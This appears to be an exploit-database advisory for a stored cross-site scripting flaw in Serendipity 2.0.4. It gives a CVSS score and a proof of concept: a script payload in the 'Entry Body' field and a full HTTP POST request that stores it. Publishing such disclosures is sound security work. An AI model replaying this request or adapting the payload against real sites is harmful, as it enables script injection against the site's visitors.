Serendipity-2.0.4 (latest version) - Stored Cross Site Scripting

vendor:

Serendipity

by:

Besim

8,8

CVSS

HIGH

Stored Cross Site Scripting

CWE

Product Name: Serendipity

Affected Version From: 2.0.4

Affected Version To: 2.0.4

Patch Exists: NO

Related CWE: N/A

CPE: a:s9y:serendipity:2.0.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2016

Serendipity-2.0.4 (latest version) – Stored Cross Site Scripting

A vulnerability in Serendipity 2.0.4 allows an attacker to inject malicious JavaScript code into the 'Entry Body' input field. This code is then stored in the database and executed when the page is viewed by other users.

Mitigation:

Ensure that user input is properly sanitized and validated before being stored in the database.

Source

Exploit-DB raw data:

========================================
Title: Serendipity-2.0.4 (latest version) -  Stored Cross Site Scripting
Application: Serendipity
Class: Sensitive Information disclosure
Versions Affected:  <= latest version 
Vendor URL: http://docs.s9y.org/
Software URL: http://docs.s9y.org/downloads.html
Bugs:   Persistent Cross Site Scripting
Date of found:  29.10.2016
Author: Besim
========================================

2.CREDIT
========================================
Those vulnerabilities was identified by Meryem AKDOĞAN and Besim ALTINOK
 
  
3. VERSIONS AFFECTED
========================================
 <= latest version

  
4. TECHNICAL DETAILS & POC
========================================

 Stored Cross Site Scripting (No Admin Required)
========================================

1) Editor login panel
2) User click 'New Entry'
3) Attacker(normal user) enter xss payload to 'Entry Body' input 
4) Vulnerability Parameter and Payload : &body=<Script>alert('Meryem ExploitDB')</Script>

### HTTP Request  ###

POST /serendipity/serendipity_admin.php? HTTP/1.1
Host: site_name
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site_name/serendipity/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=new
Cookie: ---
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 762

- POST DATA

serendipity[action]=admin
&serendipity[adminModule]=entries
&serendipity[adminAction]=save
&serendipity[id]=
&serendipity[timestamp]=1477314176
&serendipity[preview]=false
&serendipity[token]=324fa32a404e03de978d9a18f86a3338
&serendipity[title]=New Page
&serendipity[body]=<Script>alert('Meryem ExploitDB')</Script>
&serendipity[extended]=
&serendipity[chk_timestamp]=1477314176
&serendipity[new_timestamp]=2016-10-24 15:02
&serendipity[isdraft]=false
&serendipity[allow_comments]=true
&serendipity[had_categories]=1
&serendipity[propertyform]=true
&serendipity[properties][access]=public
&ignore_password=
&serendipity[properties][entrypassword]=
&serendipity[change_author]=4